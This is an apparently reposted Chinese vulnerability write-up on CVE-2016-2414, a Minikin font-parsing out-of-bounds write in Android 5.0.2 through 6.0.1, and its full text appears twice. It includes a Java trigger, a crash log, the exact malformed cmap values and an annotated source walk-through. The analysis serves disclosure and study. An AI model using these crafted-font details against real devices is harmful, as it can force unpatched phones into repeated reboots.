-
-
Android Minikin 库越界写拒绝服务漏洞分析
-
发表于: 2016-4-28 14:47 2578
-
新闻链接:http://www.freebuf.com/articles/system/102643.html
新闻时间:2016-04-28
新闻正文:
在本月的Android补丁中,谷歌修复了Minikin库中的一个拒绝服务漏洞(CVE-2016-2414) 。早在今年3月初我就向谷歌报告了这个漏洞,但谷歌方面确认说该漏洞与去年11月份另一位专家报告的BUG26413177是同一个漏洞。
在本文,我将给大家深入的分析该漏洞。该漏洞是由于Minikin库无法正确解析.TTF字体文件,正因如此一位本地攻击者是能够暂时阻止受该漏洞影响的Android设备访问。攻击者可以加载一份不可信字体文件,让Minikin组件溢出,这将会导致崩溃。
由于崩溃会导致Android设备连续的重启,所以该问题被谷歌评级为高危漏洞。
受影响的Android版本
Android 5.0.2, 5.1.1, 6.0, 6.0.1
概念验证
下面的代码片段能够触发该漏洞,setTypeface函数用于从外部在TextView中加载以及设置自定义字体。
public class MyActivity extends Activity
{
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
TextView textView2 = (TextView) findViewById(R.id.textView2);
Typeface typeface2 = Typeface.createFromFile(Environment.getExternalStorageDirectory() + "/fuzzed.ttf");
textView2.setTypeface(typeface2);
}
}
以下为崩溃日志:
--------- beginning of crash
04-04 16:44:43.230 5021 5021 F libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x36587 in tid 5021 (example.TTFFont)
04-04 16:44:43.248 32383 28153 I Icing : Indexing done 215BF78BC46028A346E51FB3E9502079034D8D40
04-04 16:44:43.249 32383 28153 I Icing : Indexing 4400EDF81586FA899DD2C6CB98D8E1B8279596F4 from com.google.android.gms
04-04 16:44:43.250 32383 28153 I Icing : Indexing done 4400EDF81586FA899DD2C6CB98D8E1B8279596F4
04-04 16:44:43.332 10881 10881 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
04-04 16:44:43.332 10881 10881 F DEBUG : Build fingerprint:
'google/hammerhead/hammerhead:6.0.1/MMB29V/2554798:user/release-keys'
04-04 16:44:43.332 10881 10881 F DEBUG : Revision: '0' 04-04 16:44:43.332 10881 10881 F DEBUG : ABI: 'arm'
04-04 16:44:43.332 10881 10881 F DEBUG : pid: 5021, tid: 5021, name:
example.TTFFont >>> com.example.TTFFont <<<
04-04 16:44:43.332 10881 10881 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x36587
04-04 16:44:43.344 10881 10881 F DEBUG : r0 0000d962 r1 0000d938 r2 0000001e r3 00000006
04-04 16:44:43.344 10881 10881 F DEBUG : r4 acb4ef7c r5 0000001e r6 ffffffff r7 00000043
04-04 16:44:43.344 10881 10881 F DEBUG : r8 ab173400 r9 ffffffff sl 0000002b fp 07fffffe
04-04 16:44:43.345 10881 10881 F DEBUG : ip 07fffffd sp bef6ce20 lr 00001e0c pc b5db01e0 cpsr 00030030
04-04 16:44:43.347 10881 10881 F DEBUG :
04-04 16:44:43.347 10881 10881 F DEBUG : backtrace:
04-04 16:44:43.347 10881 10881 F DEBUG : #00 pc 0000b1e0
/system/lib/libminikin.so
(android::SparseBitSet::initFromRanges(unsigned int const*, unsigned
int)+311)
04-04 16:44:43.347 10881 10881 F DEBUG : #01 pc 0000652b
/system/lib/libminikin.so
(android::CmapCoverage::getCoverage(android::SparseBitSet&, unsigned
char const*, unsigned int)+498)
04-04 16:44:43.347 10881 10881 F DEBUG : #02 pc 00006ee1
/system/lib/libminikin.so (android::FontFamily::getCoverage()+116)
04-04 16:44:43.347 10881 10881 F DEBUG : #03 pc 0000685b
/system/lib/libminikin.so
(android::FontCollection::FontCollection(std::__1::vector<android::FontFamily*,
std::__1::allocator<android::FontFamily*> > const&)+150)
04-04 16:44:43.347 10881 10881 F DEBUG : #04 pc 0009784b
/system/lib/libandroid_runtime.so
(android::TypefaceImpl_createFromFamilies(long long const*, unsigned
int)+94)
04-04 16:44:43.347 10881 10881 F DEBUG : #05 pc 0009752b /system/lib/libandroid_runtime.so
04-04 16:44:43.347 10881 10881 F DEBUG : #06 pc 72e8db21
/data/dalvik-cache/arm/system@framework@boot.oat (offset 0x1ec9000)
04-04 16:44:43.649 10881 10881 F DEBUG :
04-04 16:44:43.649 10881 10881 F DEBUG : Tombstone written to: /data/tombstones/tombstone_09
04-04 16:44:43.649 10881 10881 E DEBUG : AM write failed: Broken pipe
分析
该漏洞是由于Minikin库无法正确解析.TTF字体文件,进而造成了一个越界写拒绝服务漏洞。
首先我们来看看这个经过特殊构造的.TTF字体文件,注意这个简化版本的PoC在偏移地址0×60, 0x58D, 0x5D6, 0xAD60的不同差异。以下为正常的TTF文件与我们的简化版本PoC比较
CVE-2016-2414 1.png
图1:偏移地址0×60
CVE-2016-2414 2.png
图2:偏移地址0x58D以及0x5D6
CVE-2016-2414 3.png
图3:偏移地址0xAD60
在上面的图1和图3中,我们对TTFTemplate使用16进制编辑器来解析TTF字体文件。偏移地址0×60
的4个字节为cmap表单中checksum字段,偏移地址0xAD60的4个字节为thead头结构中的checkSumAdjustment字段,这两个校验和字段在fuzzing的时候就已经进行重新计算了。他们不触发漏洞,这里就直接略过。以下为使用TTFTemplate解析简化版本PoC
CVE-2016-2414 4.png
从上图中,我们能够看到偏移地址0x58D和0x5D6中cmap表中被修改的字节。关于cmap表的详细说明可以看看https://www.microsoft.com/typography/otspec/cmap.htm,其中的Format 4部分如下:
CVE-2016-2414 5.png
以下为‘startCount[]’ 和 ‘endCount[]’的对比:
CVE-2016-2414 6.png
一般来说,startCount[]和endCount[]数组中每一个元素的值都会逐渐增大。与此同时,对于一个给定的索引i,endCount[i]大于或等于startCount[i]。我们将简化版PoC文件中的startCount[30]修改为0x1E78,让startCount[30] > endCount[30]。再将 startCount[67] 修改为0xE0FF,让startCount[67] < startCount[66]。根据说明文档我们知道startCount[67]是最后一个元素且为0xFFFF。
从堆栈跟踪反馈来看,我们看到在android::SparseBitSet::initFromRanges函数中SIGSEGV重现并获得代码崩溃的位置,以下为SparseBitSet::initFromRanges函数:
void SparseBitSet::initFromRanges(const uint32_t* ranges, size_t nRanges) {
...
...
...
size_t index = ((currentPage - 1) << (kLogValuesPerPage - kLogBitsPerEl)) +
((start & kPageMask) >> kLogBitsPerEl);
size_t nElements = (end - (start & ~kElMask) + kElMask) >> kLogBitsPerEl;
if (nElements == 1) {
mBitmaps[index] |= (kElAllOnes >> (start & kElMask)) &
(kElAllOnes << ((-end) & kElMask));
} else {
mBitmaps[index] |= kElAllOnes >> (start & kElMask);
for (size_t j = 1; j < nElements - 1; j++) {
mBitmaps[index + j] = kElAllOnes; //crash here, it’s an out-of-bound write.
}
mBitmaps[index + nElements - 1] |= kElAllOnes << ((-end) & kElMask);
}
...
...
...
}
接下来,使用 IDA Pro进行动态分析。在SparseBitSet::initFromRanges函数入口设置一个断点。然后运行调试器可以看到下面的代码:
CVE-2016-2414 7.png
从上图中得知,R1为第一个参数(const uint32_t* ranges),R2为第二个参数 (size_t nRanges),下面为R1指向的内存:
CVE-2016-2414 8.png
我们看到偏移地址0xAB1734F0中的4个字节 |78 1E 00 00|存储 startCount[30] (|1E 78|)的值,随后的4个字节|0C 1E 00 00|存储endCount[30]+1 (|1E 0B|+1)的值,接着继续跟踪直到程序处理到ranges[30] (|78 1E 00 00 0C 1E 00 00|)
CVE-2016-2414 9.png
从上图中我们可以看到当R2等于0x1E,R10寄存器指向ranges[30] (0xAB1734F0),继续分析
CVE-2016-2414 10.png
之后跳转到loc_B5DB0176
CVE-2016-2414 11.png
接下来进入loc_B5DB01D2循环, [R4+8]存储mBitmaps值,并且R9指向值mBitmaps(从源代码)。如下所示:
CVE-2016-2414 12.png
之后在地址B5DB01E0,它会执行一个STR指令并向内存 [R9+R0<<2]写入0xFFFFFFFF
CVE-2016-2414 13.png
当我们运行调试器(F9),弹出如下对话框
CVE-2016-2414 14.png
出现一个分段违规(segmentation violation)错误,检查下内存信息和寄存器
CVE-2016-2414 15.png
以下为源代码的分析:
void SparseBitSet::initFromRanges(const uint32_t* ranges, size_t nRanges) {
if (nRanges == 0) {
mMaxVal = 0;
mIndices.reset();
mBitmaps.reset();
return;
}
mMaxVal = ranges[nRanges * 2 - 1];
size_t indexSize = (mMaxVal + kPageMask) >> kLogValuesPerPage;
mIndices.reset(new uint32_t[indexSize]);
uint32_t nPages = calcNumPages(ranges, nRanges);
mBitmaps.reset(new element[nPages << (kLogValuesPerPage - kLogBitsPerEl)]);
memset(mBitmaps.get(), 0, nPages << (kLogValuesPerPage - 3));
mZeroPageIndex = noZeroPage;
uint32_t nonzeroPageEnd = 0;
uint32_t currentPage = 0;
for (size_t i = 0; i < nRanges; i++) { //when the variable i is eqaul to 0x1E, the program handles the modified data in 'startCount' array in PoC file.
uint32_t start = ranges[i * 2]; //the variable start is eqaul to 0x1E78
uint32_t end = ranges[i * 2 + 1]; //the variable end is eqaul to 0x1E0C
uint32_t startPage = start >> kLogValuesPerPage;
uint32_t endPage = (end - 1) >> kLogValuesPerPage;
if (startPage >= nonzeroPageEnd) {
if (startPage > nonzeroPageEnd) {
if (mZeroPageIndex == noZeroPage) {
mZeroPageIndex = (currentPage++) << (kLogValuesPerPage - kLogBitsPerEl);
}
for (uint32_t j = nonzeroPageEnd; j < startPage; j++) {
mIndices[j] = mZeroPageIndex;
}
}
mIndices[startPage] = (currentPage++) << (kLogValuesPerPage - kLogBitsPerEl);
}
size_t index = ((currentPage - 1) << (kLogValuesPerPage - kLogBitsPerEl)) +
((start & kPageMask) >> kLogBitsPerEl); // the variable index is equal to 0x2B from dynamic debugging.
size_t nElements = (end - (start & ~kElMask) + kElMask) >> kLogBitsPerEl; // nElements = (0x1E0C - (0x1E78 & ~0x1F) + 0x1F) >> 5 = 0x07FFFFFE, because start is greater than end, it causes a overflow when doing subtraction.
if (nElements == 1) {
mBitmaps[index] |= (kElAllOnes >> (start & kElMask)) &
(kElAllOnes << ((-end) & kElMask));
} else {
mBitmaps[index] |= kElAllOnes >> (start & kElMask);
for (size_t j = 1; j < nElements - 1; j++) { // the loop condition is j < 0x07FFFFFD, it's a too large value.
mBitmaps[index + j] = kElAllOnes; //crash here, it's out-of-bound write.
}
mBitmaps[index + nElements - 1] |= kElAllOnes << ((-end) & kElMask);
}
for (size_t j = startPage + 1; j < endPage + 1; j++) {
mIndices[j] = (currentPage++) << (kLogValuesPerPage - kLogBitsPerEl);
}
nonzeroPageEnd = endPage + 1;
}
}
总结
简单来说该漏洞是由于Minikin未能检测cmap表中的有效长度引起,一个损坏的或者一个恶意的字体文件可能包含一个负数范围大小,反过来导致了内存的泄漏。一个攻击者可以加载一个损坏的字体文件并导致Minikin组件发生溢出。这个崩溃会导致Android设备连续重启。
新闻时间:2016-04-28
新闻正文:
在本月的Android补丁中,谷歌修复了Minikin库中的一个拒绝服务漏洞(CVE-2016-2414) 。早在今年3月初我就向谷歌报告了这个漏洞,但谷歌方面确认说该漏洞与去年11月份另一位专家报告的BUG26413177是同一个漏洞。
在本文,我将给大家深入的分析该漏洞。该漏洞是由于Minikin库无法正确解析.TTF字体文件,正因如此一位本地攻击者是能够暂时阻止受该漏洞影响的Android设备访问。攻击者可以加载一份不可信字体文件,让Minikin组件溢出,这将会导致崩溃。
由于崩溃会导致Android设备连续的重启,所以该问题被谷歌评级为高危漏洞。
受影响的Android版本
Android 5.0.2, 5.1.1, 6.0, 6.0.1
概念验证
下面的代码片段能够触发该漏洞,setTypeface函数用于从外部在TextView中加载以及设置自定义字体。
public class MyActivity extends Activity
{
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
TextView textView2 = (TextView) findViewById(R.id.textView2);
Typeface typeface2 = Typeface.createFromFile(Environment.getExternalStorageDirectory() + "/fuzzed.ttf");
textView2.setTypeface(typeface2);
}
}
以下为崩溃日志:
--------- beginning of crash
04-04 16:44:43.230 5021 5021 F libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x36587 in tid 5021 (example.TTFFont)
04-04 16:44:43.248 32383 28153 I Icing : Indexing done 215BF78BC46028A346E51FB3E9502079034D8D40
04-04 16:44:43.249 32383 28153 I Icing : Indexing 4400EDF81586FA899DD2C6CB98D8E1B8279596F4 from com.google.android.gms
04-04 16:44:43.250 32383 28153 I Icing : Indexing done 4400EDF81586FA899DD2C6CB98D8E1B8279596F4
04-04 16:44:43.332 10881 10881 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
04-04 16:44:43.332 10881 10881 F DEBUG : Build fingerprint:
'google/hammerhead/hammerhead:6.0.1/MMB29V/2554798:user/release-keys'
04-04 16:44:43.332 10881 10881 F DEBUG : Revision: '0' 04-04 16:44:43.332 10881 10881 F DEBUG : ABI: 'arm'
04-04 16:44:43.332 10881 10881 F DEBUG : pid: 5021, tid: 5021, name:
example.TTFFont >>> com.example.TTFFont <<<
04-04 16:44:43.332 10881 10881 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x36587
04-04 16:44:43.344 10881 10881 F DEBUG : r0 0000d962 r1 0000d938 r2 0000001e r3 00000006
04-04 16:44:43.344 10881 10881 F DEBUG : r4 acb4ef7c r5 0000001e r6 ffffffff r7 00000043
04-04 16:44:43.344 10881 10881 F DEBUG : r8 ab173400 r9 ffffffff sl 0000002b fp 07fffffe
04-04 16:44:43.345 10881 10881 F DEBUG : ip 07fffffd sp bef6ce20 lr 00001e0c pc b5db01e0 cpsr 00030030
04-04 16:44:43.347 10881 10881 F DEBUG :
04-04 16:44:43.347 10881 10881 F DEBUG : backtrace:
04-04 16:44:43.347 10881 10881 F DEBUG : #00 pc 0000b1e0
/system/lib/libminikin.so
(android::SparseBitSet::initFromRanges(unsigned int const*, unsigned
int)+311)
04-04 16:44:43.347 10881 10881 F DEBUG : #01 pc 0000652b
/system/lib/libminikin.so
(android::CmapCoverage::getCoverage(android::SparseBitSet&, unsigned
char const*, unsigned int)+498)
04-04 16:44:43.347 10881 10881 F DEBUG : #02 pc 00006ee1
/system/lib/libminikin.so (android::FontFamily::getCoverage()+116)
04-04 16:44:43.347 10881 10881 F DEBUG : #03 pc 0000685b
/system/lib/libminikin.so
(android::FontCollection::FontCollection(std::__1::vector<android::FontFamily*,
std::__1::allocator<android::FontFamily*> > const&)+150)
04-04 16:44:43.347 10881 10881 F DEBUG : #04 pc 0009784b
/system/lib/libandroid_runtime.so
(android::TypefaceImpl_createFromFamilies(long long const*, unsigned
int)+94)
04-04 16:44:43.347 10881 10881 F DEBUG : #05 pc 0009752b /system/lib/libandroid_runtime.so
04-04 16:44:43.347 10881 10881 F DEBUG : #06 pc 72e8db21
/data/dalvik-cache/arm/system@framework@boot.oat (offset 0x1ec9000)
04-04 16:44:43.649 10881 10881 F DEBUG :
04-04 16:44:43.649 10881 10881 F DEBUG : Tombstone written to: /data/tombstones/tombstone_09
04-04 16:44:43.649 10881 10881 E DEBUG : AM write failed: Broken pipe
分析
该漏洞是由于Minikin库无法正确解析.TTF字体文件,进而造成了一个越界写拒绝服务漏洞。
首先我们来看看这个经过特殊构造的.TTF字体文件,注意这个简化版本的PoC在偏移地址0×60, 0x58D, 0x5D6, 0xAD60的不同差异。以下为正常的TTF文件与我们的简化版本PoC比较
CVE-2016-2414 1.png
图1:偏移地址0×60
CVE-2016-2414 2.png
图2:偏移地址0x58D以及0x5D6
CVE-2016-2414 3.png
图3:偏移地址0xAD60
在上面的图1和图3中,我们对TTFTemplate使用16进制编辑器来解析TTF字体文件。偏移地址0×60
的4个字节为cmap表单中checksum字段,偏移地址0xAD60的4个字节为thead头结构中的checkSumAdjustment字段,这两个校验和字段在fuzzing的时候就已经进行重新计算了。他们不触发漏洞,这里就直接略过。以下为使用TTFTemplate解析简化版本PoC
CVE-2016-2414 4.png
从上图中,我们能够看到偏移地址0x58D和0x5D6中cmap表中被修改的字节。关于cmap表的详细说明可以看看https://www.microsoft.com/typography/otspec/cmap.htm,其中的Format 4部分如下:
CVE-2016-2414 5.png
以下为‘startCount[]’ 和 ‘endCount[]’的对比:
CVE-2016-2414 6.png
一般来说,startCount[]和endCount[]数组中每一个元素的值都会逐渐增大。与此同时,对于一个给定的索引i,endCount[i]大于或等于startCount[i]。我们将简化版PoC文件中的startCount[30]修改为0x1E78,让startCount[30] > endCount[30]。再将 startCount[67] 修改为0xE0FF,让startCount[67] < startCount[66]。根据说明文档我们知道startCount[67]是最后一个元素且为0xFFFF。
从堆栈跟踪反馈来看,我们看到在android::SparseBitSet::initFromRanges函数中SIGSEGV重现并获得代码崩溃的位置,以下为SparseBitSet::initFromRanges函数:
void SparseBitSet::initFromRanges(const uint32_t* ranges, size_t nRanges) {
...
...
...
size_t index = ((currentPage - 1) << (kLogValuesPerPage - kLogBitsPerEl)) +
((start & kPageMask) >> kLogBitsPerEl);
size_t nElements = (end - (start & ~kElMask) + kElMask) >> kLogBitsPerEl;
if (nElements == 1) {
mBitmaps[index] |= (kElAllOnes >> (start & kElMask)) &
(kElAllOnes << ((-end) & kElMask));
} else {
mBitmaps[index] |= kElAllOnes >> (start & kElMask);
for (size_t j = 1; j < nElements - 1; j++) {
mBitmaps[index + j] = kElAllOnes; //crash here, it’s an out-of-bound write.
}
mBitmaps[index + nElements - 1] |= kElAllOnes << ((-end) & kElMask);
}
...
...
...
}
接下来,使用 IDA Pro进行动态分析。在SparseBitSet::initFromRanges函数入口设置一个断点。然后运行调试器可以看到下面的代码:
CVE-2016-2414 7.png
从上图中得知,R1为第一个参数(const uint32_t* ranges),R2为第二个参数 (size_t nRanges),下面为R1指向的内存:
CVE-2016-2414 8.png
我们看到偏移地址0xAB1734F0中的4个字节 |78 1E 00 00|存储 startCount[30] (|1E 78|)的值,随后的4个字节|0C 1E 00 00|存储endCount[30]+1 (|1E 0B|+1)的值,接着继续跟踪直到程序处理到ranges[30] (|78 1E 00 00 0C 1E 00 00|)
CVE-2016-2414 9.png
从上图中我们可以看到当R2等于0x1E,R10寄存器指向ranges[30] (0xAB1734F0),继续分析
CVE-2016-2414 10.png
之后跳转到loc_B5DB0176
CVE-2016-2414 11.png
接下来进入loc_B5DB01D2循环, [R4+8]存储mBitmaps值,并且R9指向值mBitmaps(从源代码)。如下所示:
CVE-2016-2414 12.png
之后在地址B5DB01E0,它会执行一个STR指令并向内存 [R9+R0<<2]写入0xFFFFFFFF
CVE-2016-2414 13.png
当我们运行调试器(F9),弹出如下对话框
CVE-2016-2414 14.png
出现一个分段违规(segmentation violation)错误,检查下内存信息和寄存器
CVE-2016-2414 15.png
以下为源代码的分析:
void SparseBitSet::initFromRanges(const uint32_t* ranges, size_t nRanges) {
if (nRanges == 0) {
mMaxVal = 0;
mIndices.reset();
mBitmaps.reset();
return;
}
mMaxVal = ranges[nRanges * 2 - 1];
size_t indexSize = (mMaxVal + kPageMask) >> kLogValuesPerPage;
mIndices.reset(new uint32_t[indexSize]);
uint32_t nPages = calcNumPages(ranges, nRanges);
mBitmaps.reset(new element[nPages << (kLogValuesPerPage - kLogBitsPerEl)]);
memset(mBitmaps.get(), 0, nPages << (kLogValuesPerPage - 3));
mZeroPageIndex = noZeroPage;
uint32_t nonzeroPageEnd = 0;
uint32_t currentPage = 0;
for (size_t i = 0; i < nRanges; i++) { //when the variable i is eqaul to 0x1E, the program handles the modified data in 'startCount' array in PoC file.
uint32_t start = ranges[i * 2]; //the variable start is eqaul to 0x1E78
uint32_t end = ranges[i * 2 + 1]; //the variable end is eqaul to 0x1E0C
uint32_t startPage = start >> kLogValuesPerPage;
uint32_t endPage = (end - 1) >> kLogValuesPerPage;
if (startPage >= nonzeroPageEnd) {
if (startPage > nonzeroPageEnd) {
if (mZeroPageIndex == noZeroPage) {
mZeroPageIndex = (currentPage++) << (kLogValuesPerPage - kLogBitsPerEl);
}
for (uint32_t j = nonzeroPageEnd; j < startPage; j++) {
mIndices[j] = mZeroPageIndex;
}
}
mIndices[startPage] = (currentPage++) << (kLogValuesPerPage - kLogBitsPerEl);
}
size_t index = ((currentPage - 1) << (kLogValuesPerPage - kLogBitsPerEl)) +
((start & kPageMask) >> kLogBitsPerEl); // the variable index is equal to 0x2B from dynamic debugging.
size_t nElements = (end - (start & ~kElMask) + kElMask) >> kLogBitsPerEl; // nElements = (0x1E0C - (0x1E78 & ~0x1F) + 0x1F) >> 5 = 0x07FFFFFE, because start is greater than end, it causes a overflow when doing subtraction.
if (nElements == 1) {
mBitmaps[index] |= (kElAllOnes >> (start & kElMask)) &
(kElAllOnes << ((-end) & kElMask));
} else {
mBitmaps[index] |= kElAllOnes >> (start & kElMask);
for (size_t j = 1; j < nElements - 1; j++) { // the loop condition is j < 0x07FFFFFD, it's a too large value.
mBitmaps[index + j] = kElAllOnes; //crash here, it's out-of-bound write.
}
mBitmaps[index + nElements - 1] |= kElAllOnes << ((-end) & kElMask);
}
for (size_t j = startPage + 1; j < endPage + 1; j++) {
mIndices[j] = (currentPage++) << (kLogValuesPerPage - kLogBitsPerEl);
}
nonzeroPageEnd = endPage + 1;
}
}
总结
简单来说该漏洞是由于Minikin未能检测cmap表中的有效长度引起,一个损坏的或者一个恶意的字体文件可能包含一个负数范围大小,反过来导致了内存的泄漏。一个攻击者可以加载一个损坏的字体文件并导致Minikin组件发生溢出。这个崩溃会导致Android设备连续重启。
赞赏
看原图
赞赏
雪币:
留言: